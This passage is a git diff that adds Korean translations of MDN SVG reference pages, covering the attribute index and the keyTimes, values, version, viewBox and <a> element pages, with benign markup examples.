+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("horiz-adv-x") }}</li>
+ <li>{{ SVGAttr("horiz-origin-x") }}</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{ SVGAttr("id") }}</li>
+ <li>{{ SVGAttr("ideographic") }}</li>
+ <li>{{ SVGAttr("image-rendering") }}</li>
+ <li>{{ SVGAttr("in") }}</li>
+ <li>{{ SVGAttr("in2") }}</li>
+ <li>{{ SVGAttr("intercept") }}</li>
+</ul>
+
+<h3 id="K">K</h3>
+
+<ul>
+ <li>{{ SVGAttr("k") }}</li>
+ <li>{{ SVGAttr("k1") }}</li>
+ <li>{{ SVGAttr("k2") }}</li>
+ <li>{{ SVGAttr("k3") }}</li>
+ <li>{{ SVGAttr("k4") }}</li>
+ <li>{{ SVGAttr("kernelMatrix") }}</li>
+ <li>{{ SVGAttr("kernelUnitLength") }}</li>
+ <li>{{ SVGAttr("kerning") }}</li>
+ <li>{{ SVGAttr("keyPoints") }}</li>
+ <li>{{ SVGAttr("keySplines") }}</li>
+ <li>{{ SVGAttr("keyTimes") }}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{ SVGAttr("lang") }}</li>
+ <li>{{ SVGAttr("lengthAdjust") }}</li>
+ <li>{{ SVGAttr("letter-spacing") }}</li>
+ <li>{{ SVGAttr("lighting-color") }}</li>
+ <li>{{ SVGAttr("limitingConeAngle") }}</li>
+ <li>{{ SVGAttr("local") }}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{ SVGAttr("marker-end") }}</li>
+ <li>{{ SVGAttr("marker-mid") }}</li>
+ <li>{{ SVGAttr("marker-start") }}</li>
+ <li>{{ SVGAttr("markerHeight") }}</li>
+ <li>{{ SVGAttr("markerUnits") }}</li>
+ <li>{{ SVGAttr("markerWidth") }}</li>
+ <li>{{ SVGAttr("mask") }}</li>
+ <li>{{ SVGAttr("maskContentUnits") }}</li>
+ <li>{{ SVGAttr("maskUnits") }}</li>
+ <li>{{ SVGAttr("mathematical") }}</li>
+ <li>{{ SVGAttr("max") }}</li>
+ <li>{{ SVGAttr("media") }}</li>
+ <li>{{ SVGAttr("method") }}</li>
+ <li>{{ SVGAttr("min") }}</li>
+ <li>{{ SVGAttr("mode") }}</li>
+</ul>
+
+<h3 id="N">N</h3>
+
+<ul>
+ <li>{{ SVGAttr("name") }}</li>
+ <li>{{ SVGAttr("numOctaves") }}</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{ SVGAttr("offset") }}</li>
+ <li>{{ SVGAttr("onabort") }}</li>
+ <li>{{ SVGAttr("onactivate") }}</li>
+ <li>{{ SVGAttr("onbegin") }}</li>
+ <li>{{ SVGAttr("onclick") }}</li>
+ <li>{{ SVGAttr("onend") }}</li>
+ <li>{{ SVGAttr("onerror") }}</li>
+ <li>{{ SVGAttr("onfocusin") }}</li>
+ <li>{{ SVGAttr("onfocusout") }}</li>
+ <li>{{ SVGAttr("onload") }}</li>
+ <li>{{ SVGAttr("onmousedown") }}</li>
+ <li>{{ SVGAttr("onmousemove") }}</li>
+ <li>{{ SVGAttr("onmouseout") }}</li>
+ <li>{{ SVGAttr("onmouseover") }}</li>
+ <li>{{ SVGAttr("onmouseup") }}</li>
+ <li>{{ SVGAttr("onrepeat") }}</li>
+ <li>{{ SVGAttr("onresize") }}</li>
+ <li>{{ SVGAttr("onscroll") }}</li>
+ <li>{{ SVGAttr("onunload") }}</li>
+ <li>{{ SVGAttr("onzoom") }}</li>
+ <li>{{ SVGAttr("opacity") }}</li>
+ <li>{{ SVGAttr("operator") }}</li>
+ <li>{{ SVGAttr("order") }}</li>
+ <li>{{ SVGAttr("orient") }}</li>
+ <li>{{ SVGAttr("orientation") }}</li>
+ <li>{{ SVGAttr("origin") }}</li>
+ <li>{{ SVGAttr("overflow") }}</li>
+ <li>{{ SVGAttr("overline-position") }}</li>
+ <li>{{ SVGAttr("overline-thickness") }}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{ SVGAttr("panose-1") }}</li>
+ <li>{{ SVGAttr("paint-order") }}</li>
+ <li>{{ SVGAttr("pathLength") }}</li>
+ <li>{{ SVGAttr("patternContentUnits") }}</li>
+ <li>{{ SVGAttr("patternTransform") }}</li>
+ <li>{{ SVGAttr("patternUnits") }}</li>
+ <li>{{ SVGAttr("pointer-events") }}</li>
+ <li>{{ SVGAttr("points") }}</li>
+ <li>{{ SVGAttr("pointsAtX") }}</li>
+ <li>{{ SVGAttr("pointsAtY") }}</li>
+ <li>{{ SVGAttr("pointsAtZ") }}</li>
+ <li>{{ SVGAttr("preserveAlpha") }}</li>
+ <li>{{ SVGAttr("preserveAspectRatio") }}</li>
+ <li>{{ SVGAttr("primitiveUnits") }}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{ SVGAttr("r") }}</li>
+ <li>{{ SVGAttr("radius") }}</li>
+ <li>{{ SVGAttr("refX") }}</li>
+ <li>{{ SVGAttr("refY") }}</li>
+ <li>{{ SVGAttr("rendering-intent") }}</li>
+ <li>{{ SVGAttr("repeatCount") }}</li>
+ <li>{{ SVGAttr("repeatDur") }}</li>
+ <li>{{ SVGAttr("requiredExtensions") }}</li>
+ <li>{{ SVGAttr("requiredFeatures") }}</li>
+ <li>{{ SVGAttr("restart") }}</li>
+ <li>{{ SVGAttr("result") }}</li>
+ <li>{{ SVGAttr("rotate") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{ SVGAttr("scale") }}</li>
+ <li>{{ SVGAttr("seed") }}</li>
+ <li>{{ SVGAttr("shape-rendering") }}</li>
+ <li>{{ SVGAttr("slope") }}</li>
+ <li>{{ SVGAttr("spacing") }}</li>
+ <li>{{ SVGAttr("specularConstant") }}</li>
+ <li>{{ SVGAttr("specularExponent") }}</li>
+ <li>{{ SVGAttr("speed") }}</li>
+ <li>{{ SVGAttr("spreadMethod") }}</li>
+ <li>{{ SVGAttr("startOffset") }}</li>
+ <li>{{ SVGAttr("stdDeviation") }}</li>
+ <li>{{ SVGAttr("stemh") }}</li>
+ <li>{{ SVGAttr("stemv") }}</li>
+ <li>{{ SVGAttr("stitchTiles") }}</li>
+ <li>{{ SVGAttr("stop-color") }}</li>
+ <li>{{ SVGAttr("stop-opacity") }}</li>
+ <li>{{ SVGAttr("strikethrough-position") }}</li>
+ <li>{{ SVGAttr("strikethrough-thickness") }}</li>
+ <li>{{ SVGAttr("string") }}</li>
+ <li>{{ SVGAttr("stroke") }}</li>
+ <li>{{ SVGAttr("stroke-dasharray") }}</li>
+ <li>{{ SVGAttr("stroke-dashoffset") }}</li>
+ <li>{{ SVGAttr("stroke-linecap") }}</li>
+ <li>{{ SVGAttr("stroke-linejoin") }}</li>
+ <li>{{ SVGAttr("stroke-miterlimit") }}</li>
+ <li>{{ SVGAttr("stroke-opacity") }}</li>
+ <li>{{ SVGAttr("stroke-width") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("surfaceScale") }}</li>
+ <li>{{ SVGAttr("systemLanguage") }}</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{ SVGAttr("tableValues") }}</li>
+ <li>{{ SVGAttr("target") }}</li>
+ <li>{{ SVGAttr("targetX") }}</li>
+ <li>{{ SVGAttr("targetY") }}</li>
+ <li>{{ SVGAttr("text-anchor") }}</li>
+ <li>{{ SVGAttr("text-decoration") }}</li>
+ <li>{{ SVGAttr("text-rendering") }}</li>
+ <li>{{ SVGAttr("textLength") }}</li>
+ <li>{{ SVGAttr("to") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+ <li>{{ SVGAttr("type") }}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{ SVGAttr("u1") }}</li>
+ <li>{{ SVGAttr("u2") }}</li>
+ <li>{{ SVGAttr("underline-position") }}</li>
+ <li>{{ SVGAttr("underline-thickness") }}</li>
+ <li>{{ SVGAttr("unicode") }}</li>
+ <li>{{ SVGAttr("unicode-bidi") }}</li>
+ <li>{{ SVGAttr("unicode-range") }}</li>
+ <li>{{ SVGAttr("units-per-em") }}</li>
+</ul>
+
+<h3 id="V">V</h3>
+
+<ul>
+ <li>{{ SVGAttr("v-alphabetic") }}</li>
+ <li>{{ SVGAttr("v-hanging") }}</li>
+ <li>{{ SVGAttr("v-ideographic") }}</li>
+ <li>{{ SVGAttr("v-mathematical") }}</li>
+ <li>{{ SVGAttr("values") }}</li>
+ <li>{{ SVGAttr("version") }}</li>
+ <li>{{ SVGAttr("vert-adv-y") }}</li>
+ <li>{{ SVGAttr("vert-origin-x") }}</li>
+ <li>{{ SVGAttr("vert-origin-y") }}</li>
+ <li>{{ SVGAttr("viewBox") }}</li>
+ <li>{{ SVGAttr("viewTarget") }}</li>
+ <li>{{ SVGAttr("visibility") }}</li>
+</ul>
+
+<h3 id="W">W</h3>
+
+<ul>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("widths") }}</li>
+ <li>{{ SVGAttr("word-spacing") }}</li>
+ <li>{{ SVGAttr("writing-mode") }}</li>
+</ul>
+
+<h3 id="X">X</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("x-height") }}</li>
+ <li>{{ SVGAttr("x1") }}</li>
+ <li>{{ SVGAttr("x2") }}</li>
+ <li>{{ SVGAttr("xChannelSelector") }}</li>
+ <li>{{ SVGAttr("xlink:actuate") }}</li>
+ <li>{{ SVGAttr("xlink:arcrole") }}</li>
+ <li>{{ SVGAttr("xlink:href") }}</li>
+ <li>{{ SVGAttr("xlink:role") }}</li>
+ <li>{{ SVGAttr("xlink:show") }}</li>
+ <li>{{ SVGAttr("xlink:title") }}</li>
+ <li>{{ SVGAttr("xlink:type") }}</li>
+ <li>{{ SVGAttr("xml:base") }}</li>
+ <li>{{ SVGAttr("xml:lang") }}</li>
+ <li>{{ SVGAttr("xml:space") }}</li>
+</ul>
+
+<h3 id="Y">Y</h3>
+
+<ul>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("y1") }}</li>
+ <li>{{ SVGAttr("y2") }}</li>
+ <li>{{ SVGAttr("yChannelSelector") }}</li>
+</ul>
+
+<h3 id="Z">Z</h3>
+
+<ul>
+ <li>{{ SVGAttr("z") }}</li>
+ <li>{{ SVGAttr("zoomAndPan") }}</li>
+</ul>
+</div>
+
+<h2 id="Categories">Categories</h2>
+
+<h3 id="Animation_event_attributes">Animation event attributes</h3>
+
+<p>{{ SVGAttr("onbegin") }}, {{ SVGAttr("onend") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onrepeat") }}</p>
+
+<h3 id="AnimationAttributeTarget" name="AnimationAttributeTarget">Animation attribute target attributes</h3>
+
+<p>{{ SVGAttr("attributeType") }}, {{ SVGAttr("attributeName") }}</p>
+
+<h3 id="Animation_timing_attributes">Animation timing attributes</h3>
+
+<p>{{ SVGAttr("begin") }}, {{ SVGAttr("dur") }}, {{ SVGAttr("end") }}, {{ SVGAttr("min") }}, {{ SVGAttr("max") }}, {{ SVGAttr("restart") }}, {{ SVGAttr("repeatCount") }}, {{ SVGAttr("repeatDur") }}, {{ SVGAttr("fill") }}</p>
+
+<h3 id="Animation_value_attributes">Animation value attributes</h3>
+
+<p>{{ SVGAttr("calcMode") }}, {{ SVGAttr("values") }}, {{ SVGAttr("keyTimes") }}, {{ SVGAttr("keySplines") }}, {{ SVGAttr("from") }}, {{ SVGAttr("to") }}, {{ SVGAttr("by") }}, {{ SVGAttr("autoReverse") }}, {{ SVGAttr("accelerate") }}, {{ SVGAttr("decelerate") }}</p>
+
+<h3 id="Animation_addition_attributes">Animation addition attributes</h3>
+
+<p>{{ SVGAttr("additive") }}, {{ SVGAttr("accumulate") }}</p>
+
+<h3 id="Conditional_processing_attributes">Conditional processing attributes</h3>
+
+<p>{{ SVGAttr("requiredExtensions") }}, {{ SVGAttr("requiredFeatures") }}, {{ SVGAttr("systemLanguage") }}.</p>
+
+<h3 id="Core_attributes">Core attributes</h3>
+
+<p>{{ SVGAttr("id") }}, {{ SVGAttr("xml:base") }}, {{ SVGAttr("xml:lang") }}, {{ SVGAttr("xml:space") }}</p>
+
+<h3 id="Document_event_attributes">Document event attributes</h3>
+
+<p>{{ SVGAttr("onabort") }}, {{ SVGAttr("onerror") }}, {{ SVGAttr("onresize") }}, {{ SVGAttr("onscroll") }}, {{ SVGAttr("onunload") }}, {{ SVGAttr("onzoom") }}</p>
+
+<h3 id="Filter_primitive_attributes">Filter primitive attributes</h3>
+
+<p>{{ SVGAttr("height") }}, {{ SVGAttr("result") }}, {{ SVGAttr("width") }}, {{ SVGAttr("x") }}, {{ SVGAttr("y") }}</p>
+
+<h3 id="Graphical_event_attributes">Graphical event attributes</h3>
+
+<p>{{ SVGAttr("onactivate") }}, {{ SVGAttr("onclick") }}, {{ SVGAttr("onfocusin") }}, {{ SVGAttr("onfocusout") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onmousedown") }}, {{ SVGAttr("onmousemove") }}, {{ SVGAttr("onmouseout") }}, {{ SVGAttr("onmouseover") }}, {{ SVGAttr("onmouseup") }}</p>
+
+<h3 id="Presentation_attributes">Presentation attributes</h3>
+
+<div class="note">Note that all SVG presentation attributes can be used as CSS properties.</div>
+
+<p>{{ SVGAttr("alignment-baseline") }}, {{ SVGAttr("baseline-shift") }}, {{ SVGAttr("clip") }}, {{ SVGAttr("clip-path") }}, {{ SVGAttr("clip-rule") }}, {{ SVGAttr("color") }}, {{ SVGAttr("color-interpolation") }}, {{ SVGAttr("color-interpolation-filters") }}, {{ SVGAttr("color-profile") }}, {{ SVGAttr("color-rendering") }}, {{ SVGAttr("cursor") }}, {{ SVGAttr("direction") }}, {{ SVGAttr("display") }}, {{ SVGAttr("dominant-baseline") }}, {{ SVGAttr("enable-background") }}, {{ SVGAttr("fill") }}, {{ SVGAttr("fill-opacity") }}, {{ SVGAttr("fill-rule") }}, {{ SVGAttr("filter") }}, {{ SVGAttr("flood-color") }}, {{ SVGAttr("flood-opacity") }}, {{ SVGAttr("font-family") }}, {{ SVGAttr("font-size") }}, {{ SVGAttr("font-size-adjust") }}, {{ SVGAttr("font-stretch") }}, {{ SVGAttr("font-style") }}, {{ SVGAttr("font-variant") }}, {{ SVGAttr("font-weight") }}, {{ SVGAttr("glyph-orientation-horizontal") }}, {{ SVGAttr("glyph-orientation-vertical") }}, {{ SVGAttr("image-rendering") }}, {{ SVGAttr("kerning") }}, {{ SVGAttr("letter-spacing") }}, {{ SVGAttr("lighting-color") }}, {{ SVGAttr("marker-end") }}, {{ SVGAttr("marker-mid") }}, {{ SVGAttr("marker-start") }}, {{ SVGAttr("mask") }}, {{ SVGAttr("opacity") }}, {{ SVGAttr("overflow") }}, {{ SVGAttr("pointer-events") }}, {{ SVGAttr("shape-rendering") }}, {{ SVGAttr("stop-color") }}, {{ SVGAttr("stop-opacity") }}, {{ SVGAttr("stroke") }}, {{ SVGAttr("stroke-dasharray") }}, {{ SVGAttr("stroke-dashoffset") }}, {{ SVGAttr("stroke-linecap") }}, {{ SVGAttr("stroke-linejoin") }}, {{ SVGAttr("stroke-miterlimit") }}, {{ SVGAttr("stroke-opacity") }}, {{ SVGAttr("stroke-width") }}, {{ SVGAttr("text-anchor") }}, {{ SVGAttr("text-decoration") }}, {{ SVGAttr("text-rendering") }}, {{ SVGAttr("unicode-bidi") }}, {{ SVGAttr("visibility") }}, {{ SVGAttr("word-spacing") }}, {{ SVGAttr("writing-mode") }}</p>
+
+<h3 id="Transfer_function_attributes">Transfer function attributes</h3>
+
+<p>{{ SVGAttr("type") }}, {{ SVGAttr("tableValues") }}, {{ SVGAttr("slope") }}, {{ SVGAttr("intercept") }}, {{ SVGAttr("amplitude") }}, {{ SVGAttr("exponent") }}, {{ SVGAttr("offset") }}</p>
+
+<h3 id="XLink_attributes">XLink attributes</h3>
+
+<p>{{ SVGAttr("xlink:href") }}, {{ SVGAttr("xlink:type") }}, {{ SVGAttr("xlink:role") }}, {{ SVGAttr("xlink:arcrole") }}, {{ SVGAttr("xlink:title") }}, {{ SVGAttr("xlink:show") }}, {{ SVGAttr("xlink:actuate") }}</p>
diff --git a/files/ko/web/svg/attribute/keytimes/index.html b/files/ko/web/svg/attribute/keytimes/index.html
new file mode 100644
index 0000000000..82d6ac0dba
--- /dev/null
+++ b/files/ko/web/svg/attribute/keytimes/index.html
@@ -0,0 +1,87 @@
+---
+title: keyTimes
+slug: Web/SVG/Attribute/keyTimes
+translation_of: Web/SVG/Attribute/keyTimes
+---
+<p>« <a href="/en-US/docs/Web/SVG/Attribute" title="en-US/docs/Web/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p><code>keyTimes</code> 속성은 애니메이션의 pacing을 제어하는 데 사용되는 세미콜론으로 구분 된 시간 값 목록입니다. 목록의 각 시간은 {{ SVGAttr("values") }} 속성 목록의 값에 해당하며 애니메이션에서 값이 사용되는 시기를 정의합니다. <code>keyTimes</code> 목록의 각 시간 값은 0과 1 사이의 부동 소수점 값으로 지정되며 애니메이션 요소의 지속 시간에 대한 비례 오프셋을 나타냅니다. </p>
+
+<p>만약 <code>keyTimes</code> 목록이 지정될 경우,  {{ SVGAttr("values") }} 목록에서와 같이 <code>keyTimes</code> 목록에 있는 값과 정확하게 일치해야합니다.</p>
+
+<p>각 연속적인 시간 값은 이전 시간 값보다 크거나 같아야 합니다.</p>
+
+<p><code>keyTimes</code> 목록의 semantics는 interpolation 모드에 따라 다릅니다.</p>
+
+<ul>
+ <li>For linear and spline animation, the first time value in the list must be 0, and the last time value in the list must be 1. The key time associated with each value defines when the value is set; values are interpolated between the key times.</li>
+ <li>For discrete animation, the first time value in the list must be 0. The time associated with each value defines when the value is set; the animation function uses that value until the next time defined in <code>keyTimes</code>.</li>
+</ul>
+
+<p>If the interpolation mode is <em>paced</em>, the <code>keyTimes</code> attribute is ignored.</p>
+
+<p>If the duration is indefinite, any <code>keyTimes</code> specification will be ignored.</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>Animation value attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td>&lt;list&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#KeyTimesAttribute" title="http://www.w3.org/TR/SVG/animate.html#KeyTimesAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"
+     viewPort="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+    &lt;circle cx="60" cy="10" r="10"&gt;
+
+        &lt;animate attributeName="cx"
+                 attributeType="XML"
+                 dur="4s"
+                 values="60 ; 110 ; 60 ; 10 ; 60"
+                 keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
+                 repeatCount="indefinite"/&gt;
+
+        &lt;animate attributeName="cy"
+                 attributeType="XML"
+                 dur="4s"
+                 values="10 ; 60 ; 110 ; 60 ; 10 "
+                 keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
+                 repeatCount="indefinite"/&gt;
+
+    &lt;/circle&gt;
+&lt;/svg&gt;</pre>
+
+<p><strong>Live sample</strong></p>
+
+<p>{{ EmbedLiveSample('Example','120','120') }}</p>
+
+<h2 id="Elements">Elements</h2>
+
+<p>The following elements can use the <code>keyTimes</code> attribute</p>
+
+<ul>
+ <li>{{ SVGElement("animate") }}</li>
+ <li>{{ SVGElement("animateColor") }}</li>
+ <li>{{ SVGElement("animateMotion") }}</li>
+ <li>{{ SVGElement("animateTransform") }}</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/values/index.html b/files/ko/web/svg/attribute/values/index.html
new file mode 100644
index 0000000000..6a83963056
--- /dev/null
+++ b/files/ko/web/svg/attribute/values/index.html
@@ -0,0 +1,86 @@
+---
+title: values
+slug: Web/SVG/Attribute/values
+translation_of: Web/SVG/Attribute/values
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p><code>values</code> 속성은 사용하는 맥락에 따라 크게 두 가지 의미가 있습니다.</p>
+
+<p>애니메이션 요소의 경우, values 속성은 세미콜론으로 구분된 하나 이상의 값 목록입니다. 애니메이션은 애니메이션 과정에서 순서대로 값을 적용합니다. 값 목록이 지정되면  {{ SVGAttr("from") }}, {{ SVGAttr("to") }} 그리고 {{ SVGAttr("by") }} 속성 값은 무시됩니다.</p>
+
+<p>{{ SVGElement("feColorMatrix") }} 요소의 경우 값의 내용은 {{ SVGAttr("type") }} 속성의 값에 따라 다릅니다: </p>
+
+<ul>
+ <li>For <code>type="matrix"</code>, <code>values</code> is a list of 20 matrix values (a00 a01 a02 a03 a04 a10 a11 ... a34), separated by whitespace and/or a comma.</li>
+ <li>For <code>type="saturate"</code>, <code>values</code> is a single real number value (0 to 1).</li>
+ <li>For <code>type="hueRotate"</code>, <code>values</code> is a single one real number value (degrees).</li>
+ <li>For <code>type="luminanceToAlpha"</code>, <code>values</code> is not applicable.</li>
+</ul>
+
+<p>If the attribute is not specified, then the default behavior depends on the value of attribute {{ SVGAttr("type") }}.</p>
+
+<ul>
+ <li>If <code>type="matrix"</code>, then this attribute defaults to the identity matrix.</li>
+ <li>If <code>type="saturate"</code>, then this attribute defaults to the value 1, which results in the identity matrix.</li>
+ <li>If <code>type="hueRotate"</code>, then this attribute defaults to the value 0, which results in the identity matrix.</li>
+</ul>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<h3 id="For_animation_elements">For animation elements</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>Animation value attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td>&lt;list&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#ValuesAttribute" title="http://www.w3.org/TR/SVG11/animate.html#ValuesAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="For_the_SVGElement(feColorMatrix)_element">For the {{ SVGElement("feColorMatrix") }} element</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td><em>None</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td>&lt;list&gt; | <a href="/en/SVG/Content_type#Number" title="en/SVG/Content_type#Paint">&lt;number&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixValuesAttribute" title="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixValuesAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>The following elements can use the <code>values</code> attribute</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Animation" title="en/SVG/Element#Animation">Animation elements</a> »</li>
+ <li>{{ SVGElement("feColorMatrix") }}</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/version/index.html b/files/ko/web/svg/attribute/version/index.html
new file mode 100644
index 0000000000..07e553eb02
--- /dev/null
+++ b/files/ko/web/svg/attribute/version/index.html
@@ -0,0 +1,35 @@
+---
+title: version
+slug: Web/SVG/Attribute/version
+translation_of: Web/SVG/Attribute/version
+---
+<p> </p>
+
+<p><strong><code>version</code></strong> 속성은 해당 SVG 문서가 어떤 명세를 따르고 있는지 표시하기 위해 사용됩니다. 이는 오직 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg">&lt;svg&gt;</a>  요소 내에서만 사용되며 순전히 사용되는 버전의 알림을 위한 용도로 프로세싱이나 렌더링에는 영향을 미치지 않습니다.</p>
+
+<p>버전을 명시하기 위해 어떤 숫자든지 입력할 수 있지만, 현재로써 유효하게 사용되는 버전은 1.0과 1.1 두 버전만이 유일합니다.</p>
+
+<p> </p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td><a href="/en/SVG/Content_type#Number" title="https://developer.mozilla.org/en/SVG/Content_type#Number">&lt;number&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a href="http://www.w3.org/TR/SVG11/struct.html#SVGElementVersionAttribute" rel="external" title="http://www.w3.org/TR/SVG11/struct.html#SVGElementVersionAttribute">SVG 1.1 (2nd Edition): version attribute</a></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/svg/attribute/viewbox/index.html b/files/ko/web/svg/attribute/viewbox/index.html
new file mode 100644
index 0000000000..49f5cd3a51
--- /dev/null
+++ b/files/ko/web/svg/attribute/viewbox/index.html
@@ -0,0 +1,59 @@
+---
+title: viewBox
+slug: Web/SVG/Attribute/viewBox
+tags:
+  - SVG
+  - viewBox
+translation_of: Web/SVG/Attribute/viewBox
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p><code>viewBox</code> 속성은 특수한 container element 에 fit 하기 위한 주어진 graphics stretch 의 set 을 명시한다.</p>
+
+<p><code>viewBox </code>속성의 값은 whitespace and/or a comma 로 나뉘어진 <code>min-x</code>, <code>min-y</code>, <code>width,</code> <code>height </code>4가지 number list 이다. 이는 주어진 element 에 의해 설정된 viewport 의 bounds 에 맵핑되어야 하는 user space 내의 rectangle 을 명시하며, {{ SVGAttr("preserveAspectRatio") }} 속성과 관계가 있다.</p>
+
+<p>음수로 이루어진 width 또는 height 는 허용되지 않으며 zero 값은 element rendering 이 불가하다.</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td><em>See above</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/coords.html#ViewBoxAttribute" title="http://www.w3.org/TR/SVG11/coords.html#ViewBoxAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>아래 element 들은 <code>viewBox</code> 속성을 사용할 수 있다.</p>
+
+<ul>
+ <li>{{ SVGElement("svg") }}</li>
+ <li>{{ SVGElement("symbol") }}</li>
+ <li>{{ SVGElement("image") }}</li>
+ <li>{{ SVGElement("marker") }}</li>
+ <li>{{ SVGElement("pattern") }}</li>
+ <li>{{ SVGElement("view") }}</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/SVG/Tutorial/Positions" title="https://developer.mozilla.org/en/SVG/Tutorial/Positions">SVG Getting Started: Positions</a></li>
+</ul>
diff --git a/files/ko/web/svg/element/a/index.html b/files/ko/web/svg/element/a/index.html
new file mode 100644
index 0000000000..8fa3e7f585
--- /dev/null
+++ b/files/ko/web/svg/element/a/index.html
@@ -0,0 +1,149 @@
+---
+title: <a>
+slug: Web/SVG/Element/a
+tags:
+  - Element
+  - SVG
+  - SVG Anchor 엘리먼트
+translation_of: Web/SVG/Element/a
+---
+<div>{{SVGRef}}</div>
+
+<p>The <strong>&lt;a&gt;</strong> SVG element creates a hyperlink to other web pages, files, locations within the same page, email addresses, or any other URL.</p>
+
+<p>In SVG, the <code>&lt;a&gt;</code> element is a container, meaning, you can create a link around text, like in HTML, but you can also create a link around any shape.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">@namespace svgns url(http://www.w3.org/2000/svg);
+html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;!-- A link around a shape --&gt;
+  &lt;a href="https://developer.mozilla.org/docs/Web/SVG/Element/circle"&gt;
+    &lt;circle cx="50" cy="40" r="35"/&gt;
+  &lt;/a&gt;
+
+  &lt;!-- A link around a text --&gt;
+  &lt;a href="https://developer.mozilla.org/docs/Web/SVG/Element/circle"&gt;
+    &lt;text x="50" y="90" text-anchor="middle"&gt;
+      &amp;lt;circle&amp;gt;
+    &lt;/text&gt;
+  &lt;/a&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">/* As SVG does not provide a default visual style for links,
+   it's considered best practice to add some */
+
+@namespace svgns url(http://www.w3.org/2000/svg);
+
+svgns|a {
+  cursor: pointer;
+}
+
+svgns|a text {
+  fill: blue; /* Even for text, SVG use fill over color */
